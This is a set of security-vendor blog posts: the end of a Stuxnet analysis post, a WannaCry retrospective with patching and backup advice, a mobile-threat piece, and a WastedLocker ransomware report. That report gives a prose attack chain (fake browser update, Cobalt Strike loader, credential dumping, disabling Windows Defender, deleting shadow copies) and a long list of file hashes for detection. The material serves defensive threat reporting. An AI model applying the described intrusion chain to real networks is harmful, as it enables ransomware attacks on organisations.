Stuxnet then had difficulty shedding those initial reports with most only noting its use of a zero-day exploit and its ability to potentially steal design documents. Only more recently did the general public realize Stuxnet’s ultimate goal was to sabotage an industrial control system.
Analyzing Stuxnet has been one of the most challenging issues we have worked on. The code is sophisticated, incredibly large, required numerous experts in different fields, and mostly bug-free, which is rare for your average piece of malware. Stuxnet is clearly not average. We estimate the core team was five to ten people and they developed Stuxnet over six months. The development was in all likelihood highly organized and thus this estimate doesn’t include the quality assurance and management resources needed to organize the development as well as a probable host of other resources required, such as people to setup test systems to mirror the target environment and maintain the command and control server.
When looking through our archive, we were able to find a sample from June 2009. Therefore the attackers had been active for at least a year. We would not be surprised if they started even prior to that.
Typical threats attack virtual or individual assets like credit card numbers. The real-world implications of Stuxnet are beyond any threat we have seen in the past and despite the exciting challenge in reverse engineering Stuxnet and understanding its purpose, Stuxnet is the type of threat we hope to never see again.
In addition, we want to acknowledge the entire Symantec Security Response Team. Analyzing Stuxnet was a huge effort that involved many individuals who worked tirelessly to uncover Stuxnet’s ultimate motivation. Without each individual’s contribution, our exclusive analysis would have not been possible.
Finally, while we believe we have uncovered all the major and even minor details of Stuxnet, the ultimate target of Stuxnet remains unknown. We have reversed and extracted all the STL code used, but the STL code does not provide any context of what it is controlling in the real world. For those that aren’t familiar with ICS systems, essentially the STL code will set a certain address to a number. But what is behind that address – a pump, a centrifuge, a conveyor belt – cannot be seen from the code. However, we suspect there might be some common constructs, such as certain values you’d only see when activating a centrifuge versus a pump used in STL coding that might give more clues to the target. Therefore if you are a verifiable expert in STL coding that has worked in multiple critical infrastructure industries and coded large STL programs for large industrial control systems in those multiple industries and wish to help, please contact me. You can click on my name at the top to send me a private message.
Here is the link again to our comprehensive paper: W32.Stuxnet Dossier.
|
WannaCry: Lessons Learned 1 Year Later
WannaCry demonstrated the destructive potential of ransomware, which remains as dangerous as ever
On the morning of May 12, 2017, WannaCry entered the cyber security lexicon forever.
Within a day, WannaCry had spread around the world, infecting more than 230,000 computer systems in 150 countries and costing approximately $4 billion in financial losses. It was the most virulent self-spreading malware since 2003 when the Slammer worm infected most of its victims within one hour.
WannaCry also led to widespread service disruptions at Britain’s National Health Service, where about 20,000 appointments got cancelled as hospitals and clinics were forced offline.
When it came to WannaCry alone, Symantec blocked 5.4 billion attacks last year. Meanwhile, the number of ransomware infections grew approximately 40% year-over-year. Oddly enough, despite WannaCry’s global impact, average ransom demands dropped to $522 in 2017, less than half the average of the prior year, according to Symantec’s 2018 Internet Security Threat Report (ISTR).
The data likely reflects the saturation of what has become a popular – and increasingly commoditized - market, not a wholesale retreat by the bad guys. Indeed, the ISTR found that established criminal groups continue to actively deploy ransomware, which remains a dangerous cyber threat.
A Troubling Legacy
When WannaCry struck, it exploited a known weakness in Windows computers. Microsoft had released a fix a few months before the attack and systems administrators could have protected their networks by simply installing the patch.
But there were enough unpatched computers for both WannaCry - and then last year’s other big ransomware attack involving Petya/NotPetya - to create an opening for attacks to create serious disruption. That’s why you hear security experts preaching the virtue of patching to resolve any newly-discovered security vulnerabilities.
Another reason for their concern: Ransomware is no longer the exclusive preserve of run-of-the-mill cyber criminals. Targeted attack groups – often backed by the resources of nation-states - are taking an interest too.
Meanwhile, ransomware features increasingly as cover for decoy attacks. In the past, targeted attack groups might have relied on distributed denial of service (DDoS) attacks to distract incident response teams. Since 2015, though, Symantec has noted more targeted attack groups adopting this same tactic, such as the Sandworm espionage group, which created a new version of its Disakil Trojan disguised as ransomware.
Elsewhere, the success of WannaCry and Petya/NotPetya may be the harbinger of a new generation of self-propagating threats. Both threats were able to self-propagate because they used the EternalBlue exploit, reportedly developed by the U.S. National Security Agency that was leaked by the Shadow Brokers hacker group. As Symantec’s ISTR cautions, the results will likely be closely studied by others attempting to use similar “living off the land” attack techniques in the future to fly under the radar.
All the more reason why organizations need to patch their systems – at a minimum.
“What’s clear is that the window of time companies has to patch is very small and getting smaller,” Kevin Haley, the Director of Product Management for Symantec Security Technology and Response.
Oftentimes, however, companies still find it hard to remain up-to-date. Some, because they run deeply embedded systems that are just too difficult to update. Others because they are complacent and don’t believe they will wind up as targets.
Even victims of major ransomware attacks don’t always respond with the necessary alacrity. Almost a year after the NHS attack, a Parliamentary report on the aftermath found that much work still remains to improve cyber security “for when, and not if, there is another attack.”
Defending Against Ransomware
The best remedy is to adopt a broader, cohesive cyber strategy rather than rely upon a series of tactical one-offs.
“The lesson people tend to learn from these incidents tend to be specific - `We sure need to patch that vulnerability,’ said Haley. “They say that the Pentagon is always prepared to fight the last war but not the next one. I feel that this is often the case in security. But it’s probably better said that the focus should not be on patching that vulnerability, and better put into having a reliable patching strategy.”
New ransomware variants pop up regularly. So, when it comes to plotting measures to reduce your vulnerability to attack, keep the following in mind:
The easiest, most obvious step is also the most important: Always maintain your security software so that it’s up to date.
Enable automatic updating whenever possible to devices and applications connected to a network. Keep the organization’s operating system updated – the same goes for any other software apps in use. At the same time, don’t run obsolete hardware or software that no longer has vendor support.
Close off the specific ports that WannaCry exploited (in this case port 445.)
Hammer home the message to employees that they must be on guard against unexpected emails, especially if they contain links or file attachments. Also, be extra wary of Microsoft Office email attachments advising recipients to enable macros to view their content.
Back up important data and make sure that it’s appropriately protected or stored offline so that attackers can’t delete it. This insures the organization against worst-case scenarios. If you have backup copies, you can restore the files after cleaning up the infection.
If you found this information useful, you may also enjoy:
Ransomware removal and protection with Symantec Endpoint Protection
2018 Symantec Internet Security Threat Report
Ransomware: Prevention is Possible, A Cure—Not So Much
|
Warning: Mobile Threats Love Organizations of All Sizes
Just because you work in a big enterprise, don’t assume that you don’t need to worry about mobile security.
One of the more popular refrains nowadays is that company size - as measured by the total number of employees - somehow makes enterprises safe. I hear it all the time. “We’re too big – our systems are too impenetrable – to worry about mobile security,” or, “We’re too small for any hacker to pay attention to us.”
Wish it were true. But both claims are plain wrong.
We know this in our heart of hearts, but we also wanted to pull some data to illustrate the fact that size is no guarantee of security for an enterprise - whether they’re big, small, or in-between. So, we’ve aggregated usage data collected from customers and categorized the information into three buckets: small enterprises of less than 5,000 employees, midsize enterprise with 5,000 to 10,000 employees, and large enterprises with 10,000 or more employees.
We subsequently analyzed and averaged the results across three crucial components of mobile security. First on the list came device vulnerabilities. We wanted to know the percentage of mobile devices with operating system or configuration vulnerabilities that would make it easy for attackers to steal confidential information. Small enterprises turned out to be the most vulnerable with a whopping 54.4% of devices vulnerable to attack. Next came midsize organizations with 50.8% and then large enterprises at 42.7%.
So, at first blush, one might be tempted to conclude that large enterprises rated as the “safest” category. But that’s a relative term; consider that a 50,000-person enterprise had, on average, 21,350 vulnerable mobile devices on-premises or on-network. What’s more, only one of those 21,350 needs to be exploited to put a trove of confidential company information in jeopardy.
Next, we wanted to discover the percentage of devices that at some point had connected to a suspicious wireless network. This often takes the form of fake wireless hotspots setup designed to look like free Wi-Fi. In reality, hackers use these scam setups to siphon all the communications that pass between the malicious hotspot and any mobile devices that connect to it.
The results were eye-opening. Starting with small enterprises, we found that 33% of mobile devices had connected to suspicious networks, followed by 26.7% for midsize enterprises, and 31.5% for large enterprises. In other words, on average, a full third of enterprises employees have connected at some point to a Wi-Fi network that was probably listening in (and stealing) their communications.
Lastly, we studied the rate of mobile malware infiltrations. At small companies, 1 out of 100 devices got infected. At midsize enterprises, it was 1 out of 300. For large enterprises, it was 1 out of 1,200 devices. Thankfully, these numbers are a little bit lower, but legitimate malware infections also constitute a much more concentrated threat. It also can lead to situations that allows access throughout every level – including root level – on that mobile device. And when one of these infected devices are connected to your corporate Wi-Fi, the malware can spread like wildfire to other devices within the enterprise.
While all this sounds dire, it’s important to understand and appreciate the extent and gravity of the threats. The positive news is that today’s most advanced products use intelligence and machine learning technology to prevent these threats from becoming infiltrations. Defensive technologies also rely on automated responses that help mitigate any risk to your enterprise or data when something unique breaks through.
Organizations of all sizes rely on mobile threat defense solutions today to keep their data safe. Ceragon Networks, for example, home to around 1,250 employees, was able to mitigate over 140 malware incidents. Republic National Distributing Company (RNDC), which boasts over 7,000 employees, was able to analyze 400,000 apps to make sure their employees were installing safe, legitimate media. And Aetna, which houses over 50,000 employees, performed almost 8 million network tests which allowed them to prevent over 10,000 connections to suspicious networks by their employees!
At the end of the day, the size of your enterprise doesn’t matter. Your employees are still at risk to mobile threats. But armed with heightened awareness and the latest intelligent technologies, you can mitigate that risk significantly. To help you overcome objections, read this white paper to learn how RNDC drove a successful buy-in discussion with business leaders about today's mobile cyber security.
|
WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations
Attackers were preparing to attack dozens of U.S. corporations, including eight Fortune 500 companies.
UPDATE June 30: Further investigation by Symantec has confirmed dozens of U.S. newspaper websites owned by the same parent company have been compromised by SocGholish injected code. Some of the organizations targeted by WastedLocker could have been compromised when an employee browsed the news on one of its websites. Symantec has notified the company and it has now removed the malicious code.
Symantec, a division of Broadcom (NASDAQ: AVGO), has identified and alerted our customers to a string of attacks against U.S. companies by attackers attempting to deploy the WastedLocker ransomware (Ransom.WastedLocker) on their networks. The end goal of these attacks is to cripple the victim’s IT infrastructure by encrypting most of their computers and servers in order to demand a multimillion dollar ransom. At least 31 customer organizations have been attacked, meaning the total number of attacks may be much higher. The attackers had breached the networks of targeted organizations and were in the process of laying the groundwork for staging ransomware attacks.
WastedLocker is a relatively new breed of targeted ransomware, documented just prior to our publication by NCC Group, while Symantec was performing outreach to affected networks. WastedLocker has been attributed to the notorious “Evil Corp” cyber crime outfit. Evil Corp has previously been associated with the Dridex banking Trojan and BitPaymer ransomware, which are believed to have earned their creators tens of millions of dollars. Two Russian men who are alleged to be involved in the group have open indictments against them in the U.S.
The attacks begin with a malicious JavaScript-based framework known as SocGholish, tracked to more than 150 compromised websites, which masquerades as a software update. Once the attackers gain access to the victim’s network, they use Cobalt Strike commodity malware in tandem with a number of living-off-the-land tools to steal credentials, escalate privileges, and move across the network in order to deploy the WastedLocker ransomware on multiple computers.
Discovery
The attacks were proactively detected on a number of customer networks by Symantec’s Targeted Attack Cloud Analytics, which leverages advanced machine learning to spot patterns of activity associated with targeted attacks. The activity was reviewed by Symantec’s Threat Hunter team (part of Symantec’s Endpoint Security Complete offering) who verified it and quickly realized it corresponded closely to publicly documented activity seen in the early stages of WastedLocker attacks.
This discovery enabled us to identify further organizations that had been targeted by WastedLocker and identify additional tools, tactics, and procedures used by the attackers, helping us to strengthen our protection against every stage of the attack.
Figure 1. Example of Targeted Attack Cloud Analytics alert received by Symantec Endpoint Detection and Response (EDR) customers, warning them of early stage WastedLocker activity on their networks
Major corporations in the crosshairs
Symantec has uncovered attacks against 31 organizations to date, all of which were located in the U.S. The vast majority of targets are major corporations, including many household names. Aside from a number of large private companies, there were 11 listed companies, eight of which are Fortune 500 companies. All but one of the targeted organizations are U.S. owned, with the exception being a U.S.-based subsidiary of an overseas multinational.
Figure 2. WastedLocker targets by industry sector
Organizations in a diverse range of sectors were attacked. Manufacturing was the sector most affected, accounting for five targeted organizations. This was followed by Information Technology (four) and Media and Telecommunications (three). Had the attackers not been disrupted, successful attacks could have led to millions in damages, downtime, and a possible domino effect on supply chains.
How WastedLocker attacks unfold
The initial compromise of an organization involves the SocGholish framework, which is delivered to the victim in a zipped file via compromised legitimate websites. Symantec has discovered at least 150 different legitimate websites that refer traffic to websites hosting the SocGholish zip file. It is possible that these websites lead to different malware, as such redirection services can be utilized by multiple actors at the same time.
The zipped file contains malicious JavaScript, masquerading as a browser update. A second JavaScript file is then executed by wscript.exe. This JavaScript first profiles the computer using commands such as whoami, net user, and net group, then uses PowerShell to download additional discovery related PowerShell scripts.
The next stage of the attack is to deploy Cobalt Strike. PowerShell is used to download and execute a loader from a domain publicly reported as being used to deliver Cobalt Strike as part of WastedLocker attacks. The loader also shared a command and control (C&C) domain with this reported Cobalt Strike infrastructure. The loader contained a .NET injector, also reportedly seen in WastedLocker attacks. The injector, along with the loader for Cobalt Strike Beacon, is reportedly taken from an open-source project called Donut, which is designed to help inject and execute in-memory payloads.
The injected payload is known as Cobalt Strike Beacon and can be used to execute commands, inject other processes, elevate current processes or impersonate other processes, and upload and download files. The Get-NetComputer command from PowerView is renamed by the attackers to a random name. This command was then seen searching for all the computer objects in the Active Directory database with filter condition like *server* or *2003* or *7* (returning all Windows Server, Windows Server 2003, or Windows 7 instances). The attackers then logged this information in a .tmp file.
Privilege escalation was performed using a publicly documented technique involving the Software Licensing User Interface tool (slui.exe), a Windows command line utility that is responsible for activating and updating the Windows operating system.
The attackers used the Windows Management Instrumentation Command Line Utility (wmic.exe) to execute commands on remote computers, such as adding a new user or executing additional downloaded PowerShell scripts. Cobalt Strike was also used to carry out credential dumping using ProcDump and to empty log files.
In order to deploy the ransomware, the attackers use the Windows Sysinternals tool PsExec to launch a legitimate command line tool for managing Windows Defender (mpcmdrun.exe) to disable scanning of all downloaded files and attachments, remove all installed definitions, and, in some cases, disable real-time monitoring.
It is possible that the attackers use more than one technique to perform this task, since NCC reported suspected use of a tool called SecTool checker for this purpose.
PsExec is then used to launch PowerShell which uses the win32_service WMI class to retrieve services and the net stop command to stop these services. After Windows Defender is disabled and services have been stopped across the organization, PsExec is used to launch the WastedLocker ransomware itself, which then begins encrypting data and deleting shadow volumes.
Figure 3. WastedLocker attack chain
Immediate threat to corporations
The attackers behind this threat appear to be skilled and experienced, capable of penetrating some of the most well protected corporations, stealing credentials, and moving with ease across their networks. As such, WastedLocker is a highly dangerous piece of ransomware. A successful attack could cripple the victim’s network, leading to significant disruption to their operations and a costly clean-up operation.
Protection/Mitigation
The following protections are in place to protect customers against WastedLocker attacks and associated activity:
File-based protection
Ransom.WastedLocker
Ransom.WastedLocker!g1
Ransom.WastedLocker!gm
Trojan.Gen.2
Trojan Horse
Trojan.Gen.MBT
Downloader
JS.Downloader
Packed.Generic.459
ISB.Downloader!gen403
ISB.Downloader!gen404
Heur.AdvML.B
Heur.AdvML.C
SONAR.SuspLaunch!g18
Intrusion Prevention
System Infected: Trojan.Backdoor Activity 478
Malicious Site: Malicious Domains Request
System Infected: Trojan.Backdoor Domains 2
Web Attack: Fake Browser Update 8
Indicators of Compromise
Note: C&C domains linked to this activity have been reported by Symantec to the relevant registrar.
IOC Description
2f72550c99a297558235caa97d025054f70a276283998d9686c282612ebdbea0 Cobalt Strike loader
389f2000a22e839ddafb28d9cf522b0b71e303e0ae89e5fc2cd5b53ae9256848 Cobalt Strike loader
3dfb4e7ca12b7176a0cf12edce288b26a970339e6529a0b2dad7114bba0e16c3 Cobalt Strike loader
714e0ed61b0ae779af573dce32cbc4d70d23ca6cfe117b63f53ed3627d121feb Cobalt Strike loader
810576224c148d673f47409a34bd8c7f743295d536f6d8e95f22ac278852a45f Cobalt Strike loader
83710bbb9d8d1cf68b425f52f2fb29d5ebbbd05952b60fb3f09e609dfcf1976c Cobalt Strike loader
91e18e5e048b39dfc8d250ae54471249d59c637e7a85981ab0c81cf5a4b8482d Cobalt Strike loader
adabf8c1798432b766260ac42ccdd78e0a4712384618a2fc2e3695ff975b0246 Cobalt Strike loader
b0354649de6183d455a454956c008eb4dec093141af5866cc9ba7b314789844d Cobalt Strike loader
bc1c5fecadc752001826b736810713a86cfa64979b3420ab63fe97ba7407f068 Cobalt Strike loader
c781c56d8c8daedbed9a15fb2ece165b96fdda1a85d3beeba6bb3bc23e917c90 Cobalt Strike loader
c7cde31daa7f5d0923f9c7591378b4992765eac12efa75c1baaaefa5f6bdb2b6 Cobalt Strike loader
f093b0006ef5ac52aa1d51fee705aa3b7b10a6af2acb4019b7bc16da4cabb5a1 Cobalt Strike loader
6088e7131b1b146a8e573c096386ff36b19bfad74c881ca68eda29bd4cea3339 .NET injector (Donut)
5cd04805f9753ca08b82e88c27bf5426d1d356bb26b281885573051048911367 WastedLocker
887aac61771af200f7e58bf0d02cb96d9befa11deda4e448f0a700ccb186ce9d WastedLocker
8897db876553f942b2eb4005f8475a232bafb82a50ca7761a621842e894a3d80 WastedLocker
bcdac1a2b67e2b47f8129814dca3bcf7d55404757eb09f1c3103f57da3153ec8 WastedLocker
e3bf41de3a7edf556d43b6196652aa036e48a602bb3f7c98af9dae992222a8eb WastedLocker
ed0632acb266a4ec3f51dd803c8025bccd654e53c64eb613e203c590897079b3 WastedLocker
63c316ccc8d27a4368ae4bdbdb0fe915e109c6680107211977a028eaad9786e8 Embedded JS
aa05e7a187ddec2e11fc1c9eafe61408d085b0ab6cd12caeaf531c9dca129772 WastedLocker
817704ed2f654929623d9d3e4b71ce0082ef4eadb3fe2d80c726e874dc6952a3 WastedLocker
612a21c0b8501f13544cc00c79599ae11c4786aa7268cf887d59738bd4f92afc Possible WastedLocker
f0520c25fd656c465dc55b5eada41dbd042f46be93fb3678d046ed9f6a90a149 Zip file containing JS chrome update
8ed034f6b236f254e1f5f49e900398ff4c6b9a7914ce70fb0e29ef5a2b0799e1 JS chrome update
023f1ef0cc2c1e055b05ae1ff5bcc6bf2421003dea227aeb6d70c8a525fa3b82 Zloader
85f391ecd480711401f6da2f371156f995dd5cff7580f37791e79e62b91fd9eb WastedLocker
d8cdf823efe1bd2ec019bd32890d40b34695cbf7ce9e0b7780e96f7d32b5b4fc SocGholish Zip file
1b03c872c85b00b2ef2e2f9e5e3f85b703ee2190374d8aaba4da065f54efd21f SocGholish Zip file
2334c93c4f6ae3d370a8e7ad57c72e67d950b2842360105d3074a3fdbcea6e6c SocGholish Zip file
6ee2884c7dfcf85030e4c26e68b3d65a6a8dd3b502f895938fca86653bfa171e SocGholish Zip file
1346085caf84eedcd8437b31b6549aa3a5f88b168efc165b67acde907d2ee691 SocGholish Zip file
00e55499c1fce017d25e27201f2919502797180264ef67a6bc8da2f0b6fe89ac SocGholish Zip file
8f18111a4d45ecbcaa5d409afda01bff59a335f6e92895d3422f21465e6e070e SocGholish Zip file
34c40cee6ec17b6b76249bea42dab11380310df0bb5f1fd687be5648025cf887 SocGholish Zip file
47aecefb1b8c20d1ac705581fb84331aa96bac0ba11a9dd9dcb3afe782d662d3 SocGholish Zip file
52a8a9afe1637e8faa39894d4b7ec8857aadec8c631469a982d5d0860a6f3511 SocGholish Zip file
8e8e911906e2881dab603fb446c1ca98eb989e4b1a933496b3c49e64e3d34d33 SocGholish Zip file
5d282476a27409c1eaa8d68f46bcc69f3027840a87a16159c25c0e49e87d8f9a SocGholish Zip file
a1849335f5a9d185c514f1b963de6c9599e375046292e07feb6fec30e26a4c54 SocGholish Zip file
4df28f81d5c9e84d96137ff0a24c9902589af1f120742441ed49e68e601b9d87 SocGholish Zip file
effa6018b4d8b48e59684dc66c64a08658e118a43715f6d0902d7c83db3902c0 SocGholish Zip file
912c405cf9506288c18984f92d66f1fd263b999c2f4a346a8e133dcb846560f9 SocGholish Zip file
5eb57802b26631c22ed4ebe9f252cd22822a04a2f28a594aaf4bc4887d33caf5 SocGholish Zip file
d3705a1fd6c1736aeabcae24bc6d247e6bcbe2168523b9788a22714fb165bfec SocGholish Zip file
d9717e971ac44f6233b3f5854f9b264040250aa39d74bfa227a4b4602b6eb832 SocGholish Zip file
1150850a7cc92b753cc9f51db547ea675f177ce290652368599a49cfa2826d34 SocGholish Zip file
cd04bf5e9383f717975e4b2e901d04782c9cab00099a5ad06a8a9429bd4cf9a5 SocGholish Zip file
a8fa11b8402bcdcf1c6cae98dba90568fdf734ba4b083d68566b5adfa66c8327 SocGholish Zip file
e38ae05677ea8137a432307214816e0c17fe22e42c2c4279e89d5019a4599acd SocGholish Zip file
e14257ac1f2ef19a21c7ef60c29b6dce9f63d198746d59046198fa254d9d3a54 SocGholish Zip file
ec1674ec04b9b12378198526546a43a19ad3720f5a57b9b420386a17cc0f8983 SocGholish Zip file
94e17b0d20a458b997a43d6c5aaee62454e1168080574c5e472cf152046d7540 SocGholish Zip file
90221dec6d92d6f76af0240d3968a8503e821955d3cc3acf30527bc8f2a65e9c SocGholish Zip file
36d6f04bbb409bc6e74cf4d8bbc11f250789cb2de14e243ffe891b0f75145549 SocGholish Zip file
bcddb155313a76b05e4758c6071c3ff26b3c383d705c90c0015f68e7d11f504d SocGholish Zip file
92b79542921cab76d001d785dceb5c4f55cfa9d3a51cbc99a3e2db1cce4892e6 SocGholish Zip file
b349848b0357abd4be79b456e1019305c5105892eab768b85bc89da1932f3d22 SocGholish Zip file
289a5876bae1f28fd3817a7fc010e2dc2205372c0eeb957dcce009fa10b57bd9 SocGholish Zip file
6215316b10db41cf8ed697605074fdf59fd5967e98c62f03476d845ca46ff69e SocGholish Zip file
631c71d88a3d0fdfbb22ed393eddc78276c0b4abc85e2d0163b4edd603306fd6 SocGholish Zip file
d83a6cddf932d129f49b871d8a42f8b1a885cbdc8ae3f44b215d409d8f7eaf05 SocGholish Zip file
54c8ff32e714a1160235683a26bbf9cbaa267a45e20fa34544e9b9b3b2753cfc SocGholish Zip file
a5d3b330150b5de4e2d484fefe7cbbcf0273aa5f043c3d54c83437785e6af1d5 SocGholish Zip file
61099171f2bce433e2a8cdb1d24811cc2f6c01b8d9f08f66f5023c97306aa9ca SocGholish Zip file
73a3d35902745b2b3e46efa884f711f6aa490a7961105ed1d735ac0878fe8b26 SocGholish Zip file
05a9ee3b90da5fcc6c4bb888125d00f36a150eb271f956793ef1d74cf57d1493 SocGholish JS file
45d611f352993041e3da849597e9411f2d6682a65d6f324a474d4ad2b409cb3f SocGholish JS file
288ffd4ceba91bcc4a95036014f7a7615911b12f88f03db8d70c47bf3db8f0d4 SocGholish JS file
90d8e358f27ff85b40b5cee46d636d5390b868ffc05d068a36b29f2dce6c62f6 SocGholish JS file
fb576ea0d43d21a3899535ef2fe7c03c477259a899a90b4a266af0a391273a0e SocGholish JS file
7861cf7ec016aeda6db3472bf572d50c377400c2c59ba0b37705569c95510f09 SocGholish JS file
b4df0635436d46418aa93aa72244ab8090463611132d7804decfbc2fa1eff047 SocGholish JS file
034ec5eb976e5243aa7df416b3657a0f84cf28dfdfa896ac9f627631d64171d7 SocGholish JS file
14c46c371127b3025ab7ee242f5f0b4e9397a39471004657f247722e3b9d9951 SocGholish JS file
1b1b50285f7653c3e8e2190db2c3801ecaf1a1168f30fc38665f2715397c809b SocGholish JS file
6515a4b8f5447a644dd7c741ab062ac59b1b34bd1064435e0f43d282bd70e4d4 SocGholish JS file
b70df428c04e69f3ac3aab97c93ca327eeff91005fc9a6b4a824caaae2df5f88 SocGholish JS file
d0679c245e7fdc321f10aed472d7dd41cc13cbad9adbcceab1e378f61b02612d SocGholish JS file
736657779bfe8a99b9f75e8aabb3d517427cf9f2ae18d5f0461fe0d3fbf50145 SocGholish JS file
82f3d67830c3680b71059c04002f6a0ae0f20e82dd99bf877f37e753f1756eab SocGholish JS file
d6020b5e4a6dc0df5f6b1b38b5912ac5a623224cd1c64a934c678e1a88fc8c38 SocGholish JS file
49fec94faae5ec209c8ab143088d8a2bc5359e71d14806ac035071c90c120d05 SocGholish JS file
e492d2f1c8d718a8ac06f15f3e21e1434d0ee1889c0b4023901bf5cc680668e8 SocGholish JS file
5f30f3669e954b028b8aaabd84449bf1ddec5ca25b9ca6308fc6b68dc131fe57 SocGholish JS file
8279ff428765065945ffcc854c7b89f1449bcab42a7f41c9a8db98fb23104981 SocGholish JS file
abf625d0b4fc46a57d102a460d08f948203abb18bd8fc6b349f724825deafb32 SocGholish JS file
7b6c382fd85e740ac83d88804b713bec5cccf42cb5ac55bc909d85d02a078921 SocGholish JS file
c9ad39666e0325af0db6ad5ceba49426989f1b79a1c7e948fd721041ea403b8b SocGholish JS file
ef4a97b17c24569454cd9d28a37fb7acdf947e6067052da6ec3ae40d8ce48a01 SocGholish JS file
e69c70c23563cfc4eb975611bac2514e7210dacd24fa07236856261d797ba05c SocGholish JS file
ffab63f7037817aa5f7f627c3b31b8ba8e9ded16e0c07044d477110978dab519 SocGholish JS file
1ae6f7888789d427431fd69bd79a0059a6d1faee77a271c0678f31b417a4dc87 SocGholish JS file
061bdbf149adb99d3187ca21b6516ec0144711142bb7b97ee663261d9efe7560 SocGholish JS file
89355cdc3fd592b2630764290edb340ba0c24b69d82231b4c444f098080b53f7 SocGholish JS file
b0fd99793eb891f89de6b4757d10c8c58d3ee6e8139e2b594ac9f1116868f8ed SocGholish JS file
be7acff64e95605852c4a9a7be7d013e37d3975f59b2bad1381e1ef0f2fd0693 SocGholish JS file
c1e90b1028c33a8296090bb4b280167b2af2bbe13a6505f0efa72fbaf47d6610 SocGholish JS file
740e254bf1030441581a1a90b84a34f770dc5ddacfc26f2bdcc21d1e1adf4117 SocGholish JS file
17652ca0a0674f3d33aadc5fc8aa83281a4c504a63b5a2b45a7ff06bf8db776a SocGholish JS file
f9ea04b6d8254480741f4dffcd5c71361446c3151a88af728c8f02ded1662ebf SocGholish JS file
3c6ddfec710fdc626eaedf335ef0d5e062b58bf2018c07cc4f86957dce84b15b SocGholish JS file
08c2a598370400b6ae2e821bca121ef1ae2109c63ea547f972c0ccc281bf958e SocGholish JS file
9551700ba4099618b7d89e375f508ce1dcf8c9838318017ddbe081c0cf0b4693 SocGholish JS file
1858d80f6fdfc6ff796357d49d7c453a7cf17583dcc8d2d0c5be8a1695ad20f5 SocGholish JS file
39ea5c8bdf1f5c3345de71b78e9894081559c5b90720542b3ef3afe8432b1a4f SocGholish JS file
81cb83ad3095554ea36932e5c8ae2b96d013a19dadeb56e9f11ecba8eb804591 SocGholish JS file
ce2b122a1204a1ab7effb52e7008661951bf192a1f184fe549a8bc09ee0df76e SocGholish JS file
5b1a2c9072623434e5fa9147359ce67ea0ffd1f16ebcefc56670485f76084390 SocGholish JS file
bcd670fa6c4c943b3b4375d833adf8e0cc909ca98fb0c93414288e27dd80c2fa SocGholish JS file
2bfdac333098b55eb4c9b65f2a6da758c2990338c39f1a4ba552ea4b34a9b742 SocGholish JS file
ed1dcf691183d593451e02d1e1b5ee8f1315b472efb9955f0a0158134dec29f4 SocGholish JS file
30a6e295d616c9c7a638530f4fcc4fc82c5496c8f69811eaf0df42904c2fd3b9 SocGholish JS file
96c6e2936ffc2797d86feaa19c912898e77dcb392df9808ed4a135f6cee99664 SocGholish JS file
dab5af9b9a633ac329e40522341579a3ad6511ef293c1b6ce0274883af9fb9c9 SocGholish JS file
733e4c6232b380c449dc906b60f5f15d29c9d49c3912a173eff15cfb6232b383 SocGholish JS file
afa42b2f92b076e1dae6257e27bd6cfeb2102fbe3da569f233bd6b85c0f88b8d SocGholish JS file
2c8de9f78d25ec81d0408dea82a5e449f68c9cc9ffc8cca68efbbbddb9b7edda SocGholish JS file
4a1457a6589c201dd79c49e0a0d19b3b742c7ec9eb8703ee998fcfcbed118f10 SocGholish JS file
e96c47a7540c87778af38934d6c0a35a68d83fb1da80b9499480b7a8ffbdf5ed SocGholish JS file
df068eb71951ff0950fbbc0595540818dd63d490e8f8ede46185ee75f20b0a72 SocGholish JS file
b3955a0deb80e5bc5baed0002d7e2761e1b0d5165f02134ad7ee1151f91424bd SocGholish JS file
6e44875045594d2f22da11544c49336f6a242a1ad3e8eaeaf025cd61fb9e168a SocGholish JS file
038563215659a42d6d5b1009756716d969105e1f85155d9d1a6ff4c4d691fb3b SocGholish JS file
b935a4e4b589adb6cfffd67ae9400caef9f8e087a5943a5feaec21361693c606 SocGholish JS file
fe09d6a7df1e5817d0f9c732c0a17bdf4d51f1967c7ec1b2871051af7fdad78a SocGholish JS file
36cdac5b539227bc6dc88842bbe351478662ef6118b9145dec62aabd2c47c9c8 SocGholish JS file
cf7734c8606a472aa2dbd38a74a60dff4e8a5d00b05eb850de535a7019cc9904 SocGholish JS file
5a4a7e37686388fe6f887021e16ee2226a27263c329f98d1501426a8d7152630 SocGholish JS file
55cbedf65b3c49c4fd456beb9ba25b9e770d93a51fd303f15727b35d33b1cb9e SocGholish JS file
f6b546179d2b499e552e03001c2aa7c994f4c5e568113601dbab2dd7bbfb9429 SocGholish JS file
9d5416ae461d9c4bef4e674aee34bee263261e734d22c8c0053d37d5b3aba56c SocGholish JS file
5d6920e744d44a0ed95b0e6dfb6daf1953a2b3ac288c9821d77455584229338f SocGholish JS file
e2431e102d6ac41f91216e4a8b2bd93a126cd6988254406fcdd95340e3a0a219 SocGholish JS file
2cd386577165e39c36f5274488f6796b0e0634c33d42a9bbb432f58dc1096d60 SocGholish JS file
95658de9198378e20deb453fc888083864ea189ccd87653a14e2c39c524e3d84 SocGholish JS file
3e3b419541631e4f0d123993a1df52d49f3d2b9a484af44f5e302b3b4a58cc10 SocGholish JS file
faba871c8af45b94a300400999aa3a26d8bc57f16095c5485d45c9a4bdd7e1db SocGholish JS file
13f0cf420ca489ddf33ee7551251c27e0b80aeabb77c082d164ceb3620ea89c7 SocGholish JS file
b26917a47ce0c19deae73f23bd8f26f6ee8ea0c307590e9d2b7a42aa9ddee297 SocGholish JS file
cbbc0a5e557785549766d538fe3bc1625b91b40fa74b910a7e654abc7d0ed7cf SocGholish JS file
7c55d7753e22562c77d1d20e48293a233d9fbf84a654a0236f3edb3491809219 SocGholish JS file
40876cec2391304003e3792afd49b8c41981da0d8629b3edb7b7dd42dbf16e45 SocGholish JS file
73afcfba2476ad0de83a180a50e169878c070f8ee17c72d0c8360706dcd32cd4 SocGholish JS file
cfe3628d6bd279b2d43dcf8e7d3898893ea24fd2bf757fc51b764c0393b45976 SocGholish JS file
0cbc11499a01fc3e712f30f5ce0ffa88d23f490846c1a4ce0e7f5812af12edcc SocGholish JS file
42807830ede9edc495c8632210c8d7516c2b5f0e0d766e0a150f73dad9287e0c SocGholish JS file
0e0832d0970cc95d1ce326a8d59068cf5757b6720ef2f89411eafcb077117b32 SocGholish JS file
284c097b60e2e3cc65ae4047df57be15c0c9ee87e554c841b63e26bc7b0febbf SocGholish JS file
8b04f39738a58cb4a46a13b50dcead651e1cc1a0e23caf8adf00bc6d3e6ba684 SocGholish JS file
